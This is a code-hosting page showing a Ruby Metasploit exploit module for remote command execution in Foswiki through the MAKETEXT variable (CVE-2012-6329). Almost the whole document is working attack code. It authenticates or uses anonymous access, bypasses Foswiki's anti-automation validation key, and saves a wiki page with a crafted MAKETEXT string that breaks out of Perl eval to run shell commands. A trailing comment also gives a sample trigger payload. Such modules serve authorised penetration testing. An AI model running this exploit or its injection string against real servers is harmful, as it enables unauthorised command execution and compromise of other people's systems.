PageRenderTime 27ms CodeModel.GetById 17ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/exploits/unix/webapp/foswiki_maketext.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 237 lines | 180 code | 41 blank | 16 comment | 27 complexity | 79868104be54d304103359465aa67783 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Exploit::Remote
  7. Rank = ExcellentRanking
  8. include Msf::Exploit::Remote::HttpClient
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'Foswiki MAKETEXT Remote Command Execution',
  12. 'Description' => %q{
  13. This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
  14. a specially crafted MAKETEXT, a malicious user can execute shell commands since the
  15. input is passed to the Perl "eval" command without first being sanitized. The
  16. problem is caused by an underlying security issue in the CPAN:Locale::Maketext
  17. module. Only Foswiki sites that have user interface localization enabled
  18. (UserInterfaceInternationalisation variable set) are vulnerable.
  19. If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
  20. Also, if the FoswikiPage option isn't provided, the module will try to create a
  21. random page on the SandBox space. The modules has been tested successfully on
  22. Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.
  23. },
  24. 'Author' =>
  25. [
  26. 'Brian Carlson', # original discovery in Perl Locale::Maketext
  27. 'juan vazquez' # Metasploit module
  28. ],
  29. 'License' => MSF_LICENSE,
  30. 'References' =>
  31. [
  32. [ 'CVE', '2012-6329' ],
  33. [ 'OSVDB', '88410' ],
  34. [ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ]
  35. ],
  36. 'Privileged' => false, # web server context
  37. 'Payload' =>
  38. {
  39. 'DisableNops' => true,
  40. 'Space' => 1024,
  41. 'Compat' =>
  42. {
  43. 'PayloadType' => 'cmd',
  44. 'RequiredCmd' => 'generic ruby python telnet'
  45. }
  46. },
  47. 'Platform' => [ 'unix' ],
  48. 'Arch' => ARCH_CMD,
  49. 'Targets' => [[ 'Foswiki 1.1.5', { }]],
  50. 'DisclosureDate' => 'Dec 03 2012',
  51. 'DefaultTarget' => 0))
  52. register_options(
  53. [
  54. OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]),
  55. OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
  56. OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
  57. OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
  58. ], self.class)
  59. end
  60. def do_login(username, password)
  61. res = send_request_cgi({
  62. 'method' => 'POST',
  63. 'uri' => "#{@base}bin/login",
  64. 'vars_post' =>
  65. {
  66. 'username' => username,
  67. 'password' => password
  68. }
  69. })
  70. if not res or res.code != 302 or res.get_cookies !~ /FOSWIKISID=([0-9a-f]*)/
  71. vprint_status "#{res.code}\n#{res.body}"
  72. return nil
  73. end
  74. session = $1
  75. return session
  76. end
  77. def inject_code(session, code)
  78. vprint_status("Retrieving the validation_key...")
  79. res = send_request_cgi({
  80. 'uri' => "#{@base}bin/edit#{@page}",
  81. 'cookie' => "FOSWIKISID=#{session}"
  82. })
  83. if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/
  84. vprint_error("Error retrieving the validation_key")
  85. return nil
  86. end
  87. validation_key = $1
  88. vprint_good("validation_key found: #{validation_key}")
  89. if session.empty?
  90. if res.get_cookies =~ /FOSWIKISID=([0-9a-f]*)/
  91. session = $1
  92. else
  93. vprint_error("Error using anonymous access")
  94. return nil
  95. end
  96. end
  97. if res.get_cookies =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/
  98. strike_one = $1
  99. else
  100. vprint_error("Error getting the FOSWIKISTRIKEONE value")
  101. return nil
  102. end
  103. # Transforming validation_key in order to bypass foswiki antiautomation
  104. validation_key = Rex::Text.md5(validation_key + strike_one)
  105. vprint_status("Transformed validation key: #{validation_key}")
  106. vprint_status("Injecting the payload...")
  107. res = send_request_cgi({
  108. 'method' => 'POST',
  109. 'uri' => "#{@base}bin/save#{@page}",
  110. 'cookie' => "FOSWIKISID=#{session}",
  111. 'vars_post' =>
  112. {
  113. 'validation_key' => validation_key,
  114. 'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
  115. }
  116. })
  117. if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/
  118. print_warning("Error injecting the payload")
  119. print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
  120. return nil
  121. end
  122. location = URI(res.headers['Location']).path
  123. print_good("Payload injected on #{location}")
  124. return location
  125. end
  126. def check
  127. @base = target_uri.path
  128. @base << '/' if @base[-1, 1] != '/'
  129. res = send_request_cgi({
  130. 'uri' => "#{@base}System/WebHome"
  131. })
  132. if not res or res.code != 200
  133. return Exploit::CheckCode::Unknown
  134. end
  135. if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/
  136. version = $1
  137. print_status("Version found: #{version}")
  138. if version <= "1.1.6"
  139. return Exploit::CheckCode::Appears
  140. else
  141. return Exploit::CheckCode::Detected
  142. end
  143. end
  144. return Exploit::CheckCode::Safe
  145. end
  146. def exploit
  147. # Init variables
  148. @page = ''
  149. if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty?
  150. @page << '/' if datastore['FoswikiPage'][0] != '/'
  151. @page << datastore['FoswikiPage']
  152. else
  153. @page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
  154. end
  155. @base = target_uri.path
  156. @base << '/' if @base[-1, 1] != '/'
  157. # Login if needed
  158. if (datastore['USERNAME'] and
  159. not datastore['USERNAME'].empty? and
  160. datastore['PASSWORD'] and
  161. not datastore['PASSWORD'].empty?)
  162. print_status("Trying login to get session ID...")
  163. session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
  164. else
  165. print_status("Using anonymous access...")
  166. session = ""
  167. end
  168. if not session
  169. fail_with(Failure::Unknown, "Error getting a session ID")
  170. end
  171. # Inject payload
  172. print_status("Trying to inject the payload on #{@page}...")
  173. res = inject_code(session, payload.encoded)
  174. if not res or res !~ /#{@page}/
  175. fail_with(Failure::Unknown, "Error injecting the payload")
  176. end
  177. # Execute payload
  178. print_status("Executing the payload through #{@page}...")
  179. res = send_request_cgi({
  180. 'uri' => "#{@base}#{@page}",
  181. 'cookie' => "FOSWIKISID=#{session}"
  182. })
  183. if not res or res.code != 200 or res.body !~ /HASH/
  184. print_status("#{res.code}\n#{res.body}")
  185. fail_with(Failure::Unknown, "Error executing the payload")
  186. end
  187. print_good("Exploitation was successful")
  188. end
  189. end
  190. =begin
  191. * Trigger:
  192. %MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
  193. =end